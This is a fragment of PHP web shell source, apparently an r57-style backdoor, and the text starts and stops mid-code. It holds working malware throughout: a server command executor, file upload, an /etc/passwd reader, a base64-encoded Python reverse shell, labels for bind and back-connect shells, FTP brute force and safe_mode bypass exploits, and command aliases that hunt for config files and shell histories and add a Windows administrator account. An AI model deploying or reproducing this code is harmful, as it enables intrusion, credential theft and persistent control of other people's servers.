\n"; $value="$_SESSION[dbname] Start"; //Ex Table Manager Start goto($tablename, $_SESSION['dbname'], $action, 'but', 'tablestart', $value ); echo"\n"; $value="The main facade"; //Choose DB goto("", "", $action, 'but', 'start', $value ); echo"\n"; $value="Write Your Own Query"; goto(" ", $_SESSION['dbname'], $action, 'but', 'wyoq', $value ); echo""; //$tablename = $_POST['tablename']; $va="Add a $tablename Record"; goto($tablename, $_SESSION['dbname'], 'alter.php', 'but', 'add', $va ); echo"\n"; searchtableform($tablename, $_SESSION['dbname']); echo"
\n"; echo"
\n"; //************************************************** if(isset($_POST['addrec'])){ // $showall=false; $result=addrecord($tablename, $_SESSION['dbname'], $_POST['array']); }elseif(isset($_POST['add'])){ $showall=false; addform($tablename, $_SESSION['dbname']); }elseif(isset($_POST['delete'])){ //delete record has been pushed // $showall=false; $whr=buildwhr($_POST['pk'], $_POST['pv']); $sql = "delete from $tablename where $whr"; $result=exequery($sql, $tablename, $_SESSION['dbname']); }elseif (isset($_POST['edit'])){//Edit $showall=false; $whr = buildwhr( $_POST['pk'], $_POST['pv']); //$tablename = $_SESSION['tablename']; $sql= "Select * from $tablename where $whr"; $result=exequery($sql, $tablename, $_SESSION['dbname']); editform($tablename, $_SESSION['dbname'], $result, 'edit', $_POST['pk'], $_POST['pv']); }elseif(isset($_POST['editrec'])){ // $showall=false; $result=editrec($_SESSION['dbname'],$tablename, $_POST['pk'], $_POST['pv'], $_POST['array']); } //**************** Search ************************************ if(isset($_POST['searchval'])){ $searchval=$_POST['searchval']; }elseif(isset($_GET['searchval'])){ $searchval=$_GET['searchval']; }else{ $searchval=""; } if (isset($_GET['tablename'])){ $tablename = $_GET['tablename']; } if((isset($_POST['search'])|| isset($searchval)) && $searchval !=""){ $result=searcht($tablename, $_SESSION['dbname'], $searchval); }else{ //Display All $query = "select * from $tablename"; $result=exequery($query, $tablename, $_SESSION['dbname']); } //***************** Display record count ***************************************** if($showall){ $num_rows = mysql_num_rows($result); //Workout whick page to display if(!isset($_GET['pg']) && !isset($pg)){ $beg=0; $pg=0; }else{ if(isset($_GET['pback'])){ $pg=$_GET['pg']; }else{ $pg=$_GET['pg']; } if($pg < 0 ){ $pg=0; } if($pg > $num_rows/$pagemax){ $pg=ceil($num_rows/$pagemax)-1; } $beg = $pg * $pagemax; } if (!isset($_POST['add'])){ $pscrol=" "; $pagescrol =" "; $pagescrol = whichpage($num_rows, $pagemax, $pg, $tablename, $searchval); echo "$pagescrol\n"; //Display next Top page menu $flds = mysql_num_fields($result); echo"\n"; echo"\n"; $fields = mysql_list_fields( $_SESSION['dbname'], $tablename); $z=0; $x =0; $pkfield=array(); //*************Display each of the field names.*************************** for ($i = 0; $i < $flds; $i++) { echo "\n"; //Find the primary key $flagstring = mysql_field_flags ($result, $i); if(eregi("primary",$flagstring )){ $pk[$z] = $i; $pkfield[$z]= mysql_field_name($fields, $i); $z++; } } echo"\n"; $tbl=$tablename; //if(isset($pk)){ if($z > 0){ $cpk=count($pk); }else{ $cpk=0; } //************Display each row from the table.******************************** for ($s=$beg; $s < $beg + $pagemax; $s++){ if($s < $num_rows){ if (!mysql_data_seek ($result, $s)) { echo "Cannot seek to row $s\n"; continue; } $row=mysql_fetch_array($result); if(!isset($pk)){ $pk=" "; $pkfield= array(); } displayrow($_SESSION['dbname'], $tbl, $pk, $pkfield, $cpk, $row, $flds); } } } echo"
".mysql_field_name($fields, $i)."
\n"; if (!isset($_POST['add']) && !isset($_POST['edit']) && !isset($_POST['deltable']) && !isset($_POST['droptab']) && !isset($_POST['wyoq']) && $tablename){ echo"
"; echo "$pagescrol\n"; //Display bottom next page menu } echo"

\n"; }//showall if(isset($_POST['tablename'])){ echo""; echo"\n"; echo"
"; $tablename=$_POST['tablename']; $va="Alter Table $tablename"; goto( $tablename, $_SESSION['dbname'],'alter.php', 'but', 'altertable', $va ); echo"
\n"; } } } display_foot(); echo "
[ BACK ]
"; die(); } if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query") { echo $head; $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; $querys = @explode(';',$_POST['db_query']); echo ''; if(!$sql->connect()) echo "
Can't connect to SQL server
"; else { if(!empty($sql->base)&&!$sql->select_db()) echo "
?? ?????? ????? ????? ????????
"; else { foreach($querys as $num=>$query) { if(strlen($query)>5) { echo "Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."
"; switch($sql->query($query)) { case '0': echo "
Error : ".$sql->error."
"; break; case '1': if($sql->get_result()) { echo ""; foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); $keys = @implode(" "; for($i=0;$i<$sql->num_rows;$i++) { foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); $values = @implode(" '; } echo "
 ", $sql->columns); echo "
 ".$keys." 
 ",$sql->rows[$i]); echo '
 '.$values.' 
"; } break; case '2': $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); echo "
affected rows : ".$ar."

"; break; } } } } } echo "
"; echo in('hidden','db',0,$_POST['db']); echo in('hidden','db_server',0,$_POST['db_server']); echo in('hidden','db_port',0,$_POST['db_port']); echo in('hidden','mysql_l',0,$_POST['mysql_l']); echo in('hidden','mysql_p',0,$_POST['mysql_p']); echo in('hidden','mysql_db',0,$_POST['mysql_db']); echo in('hidden','cmd',0,'db_query'); echo "
"; echo "Base: base."\">
"; echo "


"; echo "
"; echo "
[ BACK ]
"; die(); } if(isset($_GET['delete'])) { @unlink(__FILE__); } if(isset($_GET['tmp'])) { @unlink("/tmp/backpy"); @unlink("/tmp/bind"); @unlink("/tmp/bdpl"); @unlink("/tmp/back"); @unlink("/tmp/bd"); @unlink("/tmp/bd.c"); @unlink("/tmp/dp"); @unlink("/tmp/dpc"); @unlink("/tmp/dpc.c"); @unlink("/tmp/back1.php"); @unlink("/tmp/back2.php"); } if(isset($_GET['phpini'])) { echo $head; function U_value($value) { if ($value == '') return 'no value'; if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; if ($value === null) return 'NULL'; if (@is_object($value)) $value = (array) $value; if (@is_array($value)) { @ob_start(); print_r($value); $value = @ob_get_contents(); @ob_end_clean(); } return U_wordwrap((string) $value); } function U_wordwrap($str) { $str = @wordwrap(@htmlspecialchars($str), 100, '', true); return @preg_replace('!(&[^;]*)([^;]*;)!', '$1$2', $str); } if (@function_exists('ini_get_all')) { $r = ''; echo '', ''; foreach (@ini_get_all() as $key=>$value) { $r .= ''; } echo $r; echo '
Directive
Local Value
Master Value
'.ws(3).''.$key.'
'.U_value($value['local_value']).'
'.U_value($value['global_value']).'
'; } echo "
[ BACK ]
"; die(); } if(isset($_GET['uploadds'])) { echo $head; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '

Upload Successfully :)

'; } else { echo '

Sorry You Cant :(

'; }} echo '

'; echo ''; echo "
[ BACK ]
"; die(); } if(isset($_GET['mem'])) { echo $head; echo '
MEMORY
'; $memf = @file("meminfo"); if($memf) { $c = sizeof($memf); for($i=0;$i<$c;$i++) { $info = explode(":",$memf[$i]); if($info[1]==""){ $info[1]="---"; } $r .= ''; } echo $r; } else { echo ''; } echo '
'.ws(3).''.trim($info[0]).'
'.trim($info[1]).'
'.ws(3).'
---
'; echo "
[ BACK ]
"; die(); } $lang=array( 'eng_text1' =>'Executed command', 'eng_text2' =>'Execute command on server', 'eng_text3' =>'Run command', 'eng_text4' =>'Work directory', 'eng_text5' =>'Upload files on server', 'eng_text6' =>'Local file', 'eng_text7' =>'Aliases', 'eng_text8' =>'Select alias', 'eng_butt1' =>'Execute', 'eng_butt2' =>'Upload', 'eng_text9' =>'Bind port to /bin/bash', 'eng_text10'=>'Port', 'eng_text11'=>'Password for access', 'eng_butt3' =>'Bind', 'eng_text12'=>'back-connect', 'eng_text13'=>'IP', 'eng_text14'=>'Port', 'eng_butt4' =>'Connect', 'eng_text15'=>'Upload files from remote server', 'eng_text16'=>'With', 'eng_text17'=>'Remote file', 'eng_text18'=>'Local file', 'eng_text19'=>'Exploits', 'eng_text20'=>'Use', 'eng_text21'=>' New name', 'eng_text22'=>'datapipe', 'eng_text23'=>'Local port', 'eng_text24'=>'Remote host', 'eng_text25'=>'Remote port', 'eng_text26'=>'Use', 'eng_butt5' =>'Run', 'eng_text28'=>'Work in safe_mode', 'eng_text29'=>'ACCESS DENIED', 'eng_butt6' =>'Change', 'eng_text30'=>'Cat file', 'eng_butt7' =>'Show', 'eng_text31'=>'File not found', 'eng_text32'=>'Eval PHP code', 'eng_text33'=>'Test bypass open_basedir with cURL functions', 'eng_butt8' =>'Test', 'eng_text34'=>'Test bypass safe_mode with include function', 'eng_text35'=>'Test bypass safe_mode with load file in mysql', 'eng_text36'=>'Database . Table', 'eng_text37'=>'Login', 'eng_text38'=>'Password', 'eng_text39'=>'Database', 'eng_text40'=>'Dump database table', 'eng_butt9' =>'Dump', 'eng_text41'=>'Save dump in file', 'eng_text42'=>'Edit files', 'eng_text43'=>'File for edit', 'eng_butt10'=>'Save', 'eng_text44'=>'Can\'t edit file! Only read access!', 'eng_text45'=>'File saved', 'eng_text46'=>'Show phpinfo()', 'eng_text47'=>'Show variables from php.ini', 'eng_text48'=>'Delete temp files', 'eng_butt11'=>'Edit file', 'eng_text49'=>'Delete script from server', 'eng_text50'=>'upload File -2', 'eng_text51'=>'View memory info', 'eng_text52'=>'Find text', 'eng_text53'=>'In dirs', 'eng_text54'=>'Find text in files', 'eng_butt12'=>'Find', 'eng_text55'=>'Only in files', 'eng_text56'=>'Nothing :(', 'eng_text57'=>'Create/Delete File/Dir', 'eng_text58'=>'name', 'eng_text59'=>'file', 'eng_text60'=>'dir', 'eng_butt13'=>'Create/Delete', 'eng_text61'=>'File created', 'eng_text62'=>'Dir created', 'eng_text63'=>'File deleted', 'eng_text64'=>'Dir deleted', 'eng_butt65'=>'Create', 'eng_text65'=>'Create', 'eng_text66'=>'Delete', 'eng_text955'=>'zone-h', 'eng_text995'=>'script edit index vb', 'eng_text959'=>'install script proxy', 'eng_text555'=>'xp-Cracker', 'eng_text551'=>'Inbox Mailer', 'eng_text67'=>'Chown/Chgrp/Chmod', 'ar_text128'=>'Modify/Access date(touch)', 'eng_text68'=>'Command', 'eng_text69'=>'param1', 'eng_text70'=>'param2', 'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", 'eng_text72'=>'Text for find', 'eng_text73'=>'Find in folder', 'eng_text74'=>'Find in files', 'eng_text75'=>'* you can use regexp', 'eng_text76'=>'Search text in files via find', 'eng_text80'=>'Type', 'eng_text81'=>'Net', 'eng_text82'=>'Databases', 'eng_text83'=>'Run SQL query', 'eng_text84'=>'SQL query', 'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', 'eng_text86'=>'Download files from server', 'eng_butt14'=>'Download', 'eng_text87'=>'Download files from remote ftp-server', 'eng_text88'=>'FTP-server:port', 'eng_text89'=>'File on ftp', 'eng_text90'=>'Transfer mode', 'eng_text91'=>'Archivation', 'eng_text92'=>'without archivation', 'eng_text93'=>'FTP', 'eng_text94'=>'FTP-bruteforce', 'eng_text95'=>'Users list', 'eng_text96'=>'Can\'t get users list', 'eng_text97'=>'checked: ', 'eng_text98'=>'success: ', 'eng_text99'=>'* use username from /etc/passwd for ftp login and password', 'eng_text100'=>'Send file to remote ftp server', 'eng_text101'=>'Use reverse (user -> resu) login for password', 'eng_text102'=>'Mail', 'eng_text103'=>'Send email', 'eng_text104'=>'Send file to email', 'eng_text105'=>'To', 'eng_text106'=>'From', 'eng_text107'=>'Subj', 'eng_butt15'=>'Send', 'eng_text108'=>'Mail', 'eng_text109'=>'Hide', 'eng_text110'=>'Show', 'eng_text111'=>'SQL-Server : Port', 'eng_text112'=>'Test bypass safe_mode with function mb_send_mail', 'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list', 'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body', 'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()', 'eng_text116'=>'Copy from', 'eng_text117'=>'to', 'eng_text118'=>'File copied', 'eng_text119'=>'Cant copy file', 'eng_err0'=>'', 'eng_err1'=>'Error! Can\'t read file ', 'eng_err2'=>'Error! Can\'t create ', 'eng_err3'=>'Error! Can\'t connect to ftp', 'eng_err4'=>'Error! Can\'t login on ftp server', 'eng_err5'=>'Error! Can\'t change dir on ftp', 'eng_err6'=>'Error! Can\'t sent mail', 'eng_err7'=>'Mail send', 'eng_text200'=>'read file from vul copy()', 'eng_text202'=>'where file in server', 'eng_text300'=>'read file from vul curl()', 'eng_text203'=>'read file from vul ini_restore()', 'eng_text204'=>'write shell from vul error_log()', 'eng_text205'=>'write shell in this side', 'eng_text206'=>'read dir', 'eng_text207'=>'read dir from vul reg_glob', 'eng_text208'=>'execute with function', 'eng_text209'=>'read dir from vul root', 'eng_text210'=>'DeZender ', 'eng_text211'=>'::safe_mode off::', 'eng_text212'=>'close safe_mode with php.ini', 'eng_text213'=>'close security_mod with .htaccess', 'eng_text214'=>'Admin name', 'eng_text215'=>'IRC server ', 'eng_text216'=>'#room name', 'eng_text217'=>'server', 'eng_text218'=>'write ini.php file to close safe_mode with ini_restore vul', 'eng_text219'=>'Get file to server in safe_mode and change name', 'eng_text220'=>'show file with symlink vul', 'eng_text221'=>'zip file in server to download', 'eng_text222'=>'2 symlink use vul', 'eng_text223'=>'read file from funcution', 'eng_text224'=>'read file from PLUGIN ', /* --------------------------------------------------------------- */ 'ar_text1' =>'Executed command', 'ar_text2' =>'Execute command on server', 'ar_text3' =>'Run command', 'ar_text4' =>'Work directory', 'ar_text5' =>'Upload files on server', 'ar_text6' =>'Local file', 'ar_text7' =>'Aliases', 'ar_text8' =>'Select alias', 'ar_butt1' =>'Execute', 'ar_butt2' =>'Upload', 'ar_text9' =>'Bind port to /bin/bash', 'ar_text10'=>'Port', 'ar_text11'=>'Password for access', 'ar_butt3' =>'Bind', 'ar_text12'=>'back-connect', 'ar_text13'=>'IP', 'ar_text14'=>'Port', 'ar_butt4' =>'Connect', 'ar_text15'=>'Upload files from remote server', 'ar_text16'=>'With', 'ar_text17'=>'Remote file', 'ar_text18'=>'Local file', 'ar_text19'=>'Exploits', 'ar_text20'=>'Use', 'ar_text21'=>' New name', 'ar_text22'=>'datapipe', 'ar_text23'=>'Local port', 'ar_text24'=>'Remote host', 'ar_text25'=>'Remote port', 'ar_text26'=>'Use', 'ar_butt5' =>'Run', 'ar_text28'=>'Work in safe_mode', 'ar_text29'=>'ACCESS DENIED', 'ar_butt6' =>'Change', 'ar_text30'=>'Cat file', 'ar_butt7' =>'Show', 'ar_text31'=>'File not found', 'ar_text32'=>'Eval PHP code', 'ar_text33'=>'Test bypass open_basedir with cURL functions', 'ar_butt8' =>'Test', 'ar_text34'=>'Test bypass safe_mode with include function', 'ar_text35'=>'Test bypass safe_mode with load file in mysql', 'ar_text36'=>'Database . Table', 'ar_text37'=>'Login', 'ar_text38'=>'Password', 'ar_text39'=>'Database', 'ar_text40'=>'Dump database table', 'ar_butt9' =>'Dump', 'ar_text41'=>'Save dump in file', 'ar_text42'=>'Edit files', 'ar_text43'=>'File for edit', 'ar_butt10'=>'Save', 'ar_text44'=>'Can\'t edit file! Only read access!', 'ar_text45'=>'File saved', 'ar_text46'=>'Show phpinfo()', 'ar_text47'=>'Show variables from php.ini', 'ar_text48'=>'Delete temp files', 'ar_butt11'=>'Edit file', 'ar_text49'=>'Delete script from server', 'ar_text50'=>'View cpu info', 'ar_text51'=>'View memory info', 'ar_text52'=>'Find text', 'ar_text53'=>'In dirs', 'ar_text54'=>'Find text in files', 'ar_butt12'=>'Find', 'ar_text55'=>'Only in files', 'ar_text56'=>'Nothing :(', 'ar_text57'=>'Create/Delete File/Dir', 'ar_text58'=>'name', 'ar_text59'=>'file', 'ar_text60'=>'dir', 'ar_butt13'=>'Create/Delete', 'ar_text61'=>'File created', 'ar_text62'=>'Dir created', 'ar_text63'=>'File deleted', 'ar_text64'=>'Dir deleted', 'ar_butt65'=>'Create', 'ar_text65'=>'Create', 'ar_text66'=>'Delete', 'ar_text67'=>'Chown/Chgrp/Chmod', 'ar_text68'=>'Command', 'ar_text69'=>'param1', 'ar_text70'=>'param2', 'ar_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", 'ar_text72'=>'Text for find', 'ar_text73'=>'Find in folder', 'ar_text74'=>'Find in files', 'ar_text75'=>'* you can use regexp', 'ar_text76'=>'Search text in files via find', 'ar_text80'=>'Type', 'ar_text81'=>'Net', 'ar_text82'=>'Databases', 'ar_text83'=>'Run SQL query', 'ar_text84'=>'SQL query', 'ar_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', 'ar_text86'=>'Download files from server', 'ar_butt14'=>'Download', 'ar_text87'=>'Download files from remote ftp-server', 'ar_text88'=>'FTP-server:port', 'ar_text89'=>'File on ftp', 'ar_text90'=>'Transfer mode', 'ar_text91'=>'Archivation', 'ar_text92'=>'without archivation', 'ar_text93'=>'FTP', 'ar_text94'=>'FTP-bruteforce', 'ar_text95'=>'Users list', 'ar_text96'=>'Can\'t get users list', 'ar_text97'=>'checked: ', 'ar_text98'=>'success: ', 'ar_text99'=>'* use username from /etc/passwd for ftp login and password', 'ar_text100'=>'Send file to remote ftp server', 'ar_text101'=>'Use reverse (user -> resu) login for password', 'ar_text102'=>'Mail', 'ar_text103'=>'Send email', 'ar_text104'=>'Send file to email', 'ar_text105'=>'To', 'ar_text106'=>'From', 'ar_text107'=>'Subj', 'ar_butt15'=>'Send', 'ar_text108'=>'Mail', 'ar_text109'=>'Hide', 'ar_text110'=>'Show', 'ar_text111'=>'SQL-Server : Port', 'ar_text112'=>'Test bypass safe_mode with function mb_send_mail', 'ar_text113'=>'Test bypass safe_mode, view dir list via imap_list', 'ar_text114'=>'Test bypass safe_mode, view file contest via imap_body', 'ar_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()', 'ar_text116'=>'Copy from', 'ar_text117'=>'to', 'ar_text118'=>'File copied', 'ar_text119'=>'Cant copy file', 'ar_err0'=>'Error! Can\'t write in file ', 'ar_err1'=>'Error! Can\'t read file ', 'ar_err2'=>'Error! Can\'t create ', 'ar_err3'=>'Error! Can\'t connect to ftp', 'ar_err4'=>'Error! Can\'t login on ftp server', 'ar_err5'=>'Error! Can\'t change dir on ftp', 'ar_err6'=>'Error! Can\'t sent mail', 'ar_err7'=>'Mail send', 'ar_text200'=>'read file from vul copy()', 'ar_text202'=>'where file in server', 'ar_text300'=>'read file from vul curl()', 'ar_text203'=>'read file from vul ini_restore()', 'ar_text204'=>'write shell from vul error_log()', 'ar_text205'=>'write shell in this side', 'ar_text206'=>'read dir', 'ar_text207'=>'read dir from vul reg_glob', 'ar_text208'=>'execute with function', 'ar_text209'=>'read dir from vul root', 'ar_text210'=>'DeZender ', 'ar_text211'=>'::safe_mode off::', 'ar_text212'=>'colse safe_mode with php.ini', 'ar_text213'=>'colse security_mod with .htaccess', 'ar_text214'=>'Admin name', 'ar_text215'=>'IRC server ', 'ar_text216'=>'#room name', 'ar_text217'=>'server', 'ar_text218'=>'write ini.php file to close safe_mode with ini_restore vul', 'ar_text219'=>'Get file to server in safe_mode and change name', 'ar_text220'=>'show file with symlink vul', 'ar_text221'=>'zip file in server to download', 'ar_text222'=>'2 symlink use vul', 'ar_text223'=>'read file from funcution', 'ar_text224'=>'read file from PLUGIN ', ); $aliases=array( '________________for server unix ______________-'=>'dir -ao', 'find config* files'=>'find / -type f -name "config*"', 'find config* files in current dir'=>'find . -type f -name "config*"', 'find all writable files'=>'find / -type f -perm -2 -ls', 'find all writable files in current dir'=>'find . -type f -perm -2 -ls', 'find all writable directories'=>'find / -type d -perm -2 -ls', 'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', 'find all writable directories and files'=>'find / -perm -2 -ls', 'find all writable directories and files in current dir'=>'find . -perm -2 -ls', 'find all service.pwd files'=>'find / -type f -name service.pwd', 'find service.pwd files in current dir'=>'find . -type f -name service.pwd', 'find all .bash_history files'=>'find / -type f -name .bash_history', 'find .bash_history files in current dir'=>'find . -type f -name .bash_history', 'find all .mysql_history files'=>'find / -type f -name .mysql_history', 'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', 'show opened ports'=>'netstat -an | grep -i listen', '________________for server windows ______________-'=>'dir', '1_add new user'=>'net user h1kt0s4 123456 /add', '2_add your user for admin group'=>'net localgroup administrators h1kt0s4 /add', '3_add your user for Remote Desktop group'=>'net localgroup "Remote Desktop Users" h1kt0s4 /add', '----------------------------------------------------------------------------------------------------'=>'ls -la' ); $table_up1 = "
:: "; $table_up2 = " ::
"; $table_up3 = ""; $arrow = " 4"; $lb = "["; $rb = "]"; $font = ""; $ts = "
"; $table_end1 = "
"; $te = "
"; $fs = "
"; $fe = "
"; if(isset($_GET['users'])) { if(!$users=get_users()) { echo "
".$lang[$language.'_text96']."
"; } else { echo '
'; } echo "
[ BACK ]
"; die(); } if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } $dir = @getcwd(); $unix = 0; if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1; if(empty($dir)) { $os = getenv('OS'); if(empty($os)){ $os = php_uname(); } if(empty($os)){ $os ="-"; $unix=1; } else { if(@eregi("^win",$os)) { $unix = 0; } else { $unix = 1; } } } if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") { echo $head; if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } $sr->SearchText(0,0); $res = $sr->GetResultFiles(); $found = $sr->GetMatchesCount(); $titles = $sr->GetTitles(); $r = ""; if($found > 0) { $r .= ""; foreach($res as $file=>$v) { $r .= ""; $r .= ""; foreach($v as $a=>$b) { $r .= ""; $r .= ""; $r .= ""; $r .= "\n"; } } $r .= "
".ws(3); $r .= (!$unix)? str_replace("/","\\",$file) : $file; $r .= ""; $r .= "
".$a."".ws(2).$b."
"; echo $r; } else { echo "

".$lang[$language.'_text56']."

"; } echo "
[ BACK ]
"; die(); } if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; } $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } function ws($i) { return @str_repeat(" ",$i); } function ex($cfe) { $res = ''; if (!empty($cfe)) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } function get_users() { $users = array(); $rows=file('/etc/passwd'); if(!$rows) return 0; foreach ($rows as $string) { $user = @explode(":",$string); if(substr($string,0,1)!='#') array_push($users,$user[0]); } return $users; } function err($n,$txt='') { echo '
'; echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; if(!empty($txt)) { echo " $txt"; } echo '
'; return null; } function perms($mode) { if (!$GLOBALS['unix']) return 0; if( $mode & 0x1000 ) { $type='p'; } else if( $mode & 0x2000 ) { $type='c'; } else if( $mode & 0x4000 ) { $type='d'; } else if( $mode & 0x6000 ) { $type='b'; } else if( $mode & 0x8000 ) { $type='-'; } else if( $mode & 0xA000 ) { $type='l'; } else if( $mode & 0xC000 ) { $type='s'; } else $type='u'; $owner["read"] = ($mode & 00400) ? 'r' : '-'; $owner["write"] = ($mode & 00200) ? 'w' : '-'; $owner["execute"] = ($mode & 00100) ? 'x' : '-'; $group["read"] = ($mode & 00040) ? 'r' : '-'; $group["write"] = ($mode & 00020) ? 'w' : '-'; $group["execute"] = ($mode & 00010) ? 'x' : '-'; $world["read"] = ($mode & 00004) ? 'r' : '-'; $world["write"] = ($mode & 00002) ? 'w' : '-'; $world["execute"] = ($mode & 00001) ? 'x' : '-'; if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; $s=sprintf("%1s", $type); $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); return trim($s); } function in($type,$name,$size,$value,$checked=0) { $ret = ""; } function which($pr) { $path = ex("which $pr"); if(!empty($path)) { return $path; } else { return $pr; } } function cf($fname,$text) { $w_file=@fopen($fname,"w") or err(0); if($w_file) { @fputs($w_file,base64_decode($text)); @fclose($w_file); } } function sr($l,$t1,$t2) { return "".$t1."".$t2.""; } if (!@function_exists("view_size")) { function view_size($size) { if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} else {$size = $size . " B";} return $size; } } function DirFilesR($dir,$types='') { $files = Array(); if(($handle = @opendir($dir))) { while (false !== ($file = @readdir($handle))) { if ($file != "." && $file != "..") { if(@is_dir($dir."/".$file)) $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); else { $pos = @strrpos($file,"."); $ext = @substr($file,$pos,@strlen($file)-$pos); if($types) { if(@in_array($ext,explode(';',$types))) $files[] = $dir."/".$file; } else $files[] = $dir."/".$file; } } } @closedir($handle); } return $files; } class SearchResult { var $text; var $FilesToSearch; var $ResultFiles; var $FilesTotal; var $MatchesCount; var $FileMatschesCount; var $TimeStart; var $TimeTotal; var $titles; function SearchResult($dir,$text,$filter='') { $dirs = @explode(";",$dir); $this->FilesToSearch = Array(); for($a=0;$aFilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); $this->text = $text; $this->FilesTotal = @count($this->FilesToSearch); $this->TimeStart = getmicrotime(); $this->MatchesCount = 0; $this->ResultFiles = Array(); $this->FileMatchesCount = Array(); $this->titles = Array(); } function GetFilesTotal() { return $this->FilesTotal; } function GetTitles() { return $this->titles; } function GetTimeTotal() { return $this->TimeTotal; } function GetMatchesCount() { return $this->MatchesCount; } function GetFileMatchesCount() { return $this->FileMatchesCount; } function GetResultFiles() { return $this->ResultFiles; } function SearchText($phrase=0,$case=0) { $qq = @explode(' ',$this->text); $delim = '|'; if($phrase) foreach($qq as $k=>$v) $qq[$k] = '\b'.$v.'\b'; $words = '('.@implode($delim,$qq).')'; $pattern = "/".$words."/"; if(!$case) $pattern .= 'i'; foreach($this->FilesToSearch as $k=>$filename) { $this->FileMatchesCount[$filename] = 0; $FileStrings = @file($filename) or @next; for($a=0;$a<@count($FileStrings);$a++) { $count = 0; $CurString = $FileStrings[$a]; $CurString = @Trim($CurString); $CurString = @strip_tags($CurString); $aa = ''; if(($count = @preg_match_all($pattern,$CurString,$aa))) { $CurString = @preg_replace($pattern,"\\1",$CurString); $this->ResultFiles[$filename][$a+1] = $CurString; $this->MatchesCount += $count; $this->FileMatchesCount[$filename] += $count; } } } $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); } } function getmicrotime() { list($usec,$sec) = @explode(" ",@microtime()); return ((float)$usec + (float)$sec); } $back_python="IyEvdXNyL2Jpbi9weXRob24KaW1wb3J0IHNvY2tldCwgb3MsIHN5cwpIT1NUID0gc3lzLmFyZ3Zb MV0KUE9SVCA9IGludChzeXMuYXJndlsyXSkKU0hFTEwgPSAiL2Jpbi9iYXNoIC1pIgpzb2NrID0g c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnNvY2suY29u bmVjdCgoSE9TVCxQT1JUKSkKdHJ5OgogICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAwKQogICAg b3MuZHVwMihzb2NrLmZpbGVubygpLCAxKQogICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAyKQog ICAgb3Muc3lzdGVtKFNIRUxMKQpleGNlcHQgRXhjZXB0aW9uLGU6CiAgICBwcmludCBlCnNvY2su Y2xvc2UoKQ=="; $vbb="PD9waHAKLyoKICAgfC58LnwufC58LnwufC58LnwufC58LnwufC58LnwufC58LnwufC58LnwufC58 LnwufC58LnwKIHwufCMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjI3wufAogfC58IyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAjfC58CiB8LnwjICA8PT0tfEFMLU1vR3JNfC09PT4gLSA8PT0tfHQwdkBIb1RtQWlM LkNvTS09PT4gICN8LnwKIHwufCMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg 